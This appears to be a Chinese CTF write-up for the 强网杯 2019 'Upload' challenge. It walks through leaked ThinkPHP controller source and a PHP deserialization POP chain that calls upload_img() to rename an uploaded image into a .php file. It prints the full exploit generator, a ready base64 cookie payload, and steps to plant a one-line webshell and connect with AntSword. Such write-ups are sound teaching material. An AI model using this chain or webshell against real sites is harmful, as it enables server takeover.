[强网杯 2019]Upload
初始页面如下
注册一个账号登录
可以上传文件,但是上传后的文件后缀都会改成png
抓包发现cookie为base64
解码为序列化数据a:5:{s:2:"ID";i:8;s:8:"username";s:7:"asdaszz";s:5:"email";s:8:"7@qq.com";s:8:"password";s:32:"e10adc3949ba59abbe56e057f20f883e";s:3:"img";N;}
一般来说,存在序列化则可能存在源码泄露,否则难以构造payload
经测试,存在源码泄露www.tar.gz
解压缩后主要查看Index.php、Profile.php、Login.php、Register.php
四个文件,存在于www\tp5\application\web\controller
目录底下
#Index.php
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile)); #这里存在反序列化,来自于cookie
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}
关键函数upload_img()
#Profile.php
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
这一步可以通过设置类的属性checker=0
来绕过
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
其中这一步会修改我们上传的文件后缀
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
这一步可以通过设置类的属性ext=1
来进入,同时,这一步会将文件复制给filename
,相当于重命名,最后执行update_img()
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
综上,我们的反序列化代码要能触发到upload_img()
寻找pop链
#Profile.php
public function __get($name) #当对象调用不可访问属性时,就会自动触发get魔法方法
{
return $this->except[$name];
}
public function __call($name, $arguments) #在对象调用不可访问函数时,就会自动触发call魔法方法
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
#Register.php
public function __construct()
{
$this->checker=new Index();
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
- 如果在构造函数中令
checker=new Profile()
,Profile类没有index()方法,则会触发__call魔法方法 - call方法中,执行
this->index
,不存在index这个属性,则跳转到__get方法,return $this->except['index']
,所以我们需要构造except['index'] = 'upload_img()'
构造payload,来自https://skysec.top/2019/05/25/2019-%E5%BC%BA%E7%BD%91%E6%9D%AFonline-Web-Writeup/
<?php
namespace app\web\controller;
class Profile{
public $checker = 0;
public $filename_tmp = "../public/upload/852aff287f54bca0ed7757a702913e50/9ef5055324e69f335d69b27ea40d2202.png";
public $filename = "../public/upload/852aff287f54bca0ed7757a702913e50/123.php";
public $ext = 1;
public $upload_menu;
public $img;
public $except=array("index"=>"upload_img");
}
class Register{
public $checker;
public $registed = 0;
}
$a = new Register();
$a->checker = new Profile();
$a->checker->checker = 0; #令Profile的checker为0
echo base64_encode(serialize($a));
?>
#TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6ODY6Ii4uL3B1YmxpYy91cGxvYWQvODUyYWZmMjg3ZjU0YmNhMGVkNzc1N2E3MDI5MTNlNTAvOWVmNTA1NTMyNGU2OWYzMzVkNjliMjdlYTQwZDIyMDIucG5nIjtzOjg6ImZpbGVuYW1lIjtzOjU3OiIuLi9wdWJsaWMvdXBsb2FkLzg1MmFmZjI4N2Y1NGJjYTBlZDc3NTdhNzAyOTEzZTUwLzEyMy5waHAiO3M6MzoiZXh0IjtpOjE7czoxMToidXBsb2FkX21lbnUiO047czozOiJpbWciO047czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czoxMDoidXBsb2FkX2ltZyI7fX1zOjg6InJlZ2lzdGVkIjtpOjA7fQ==
构造一句话木马,将后缀改成png上传,注意,数据包前面加一个GIF89a
,绕过防护
之后刷新一下,将cookie值替换成payload
使用蚁剑连接webshell,在根目录下找到flag
参考
https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/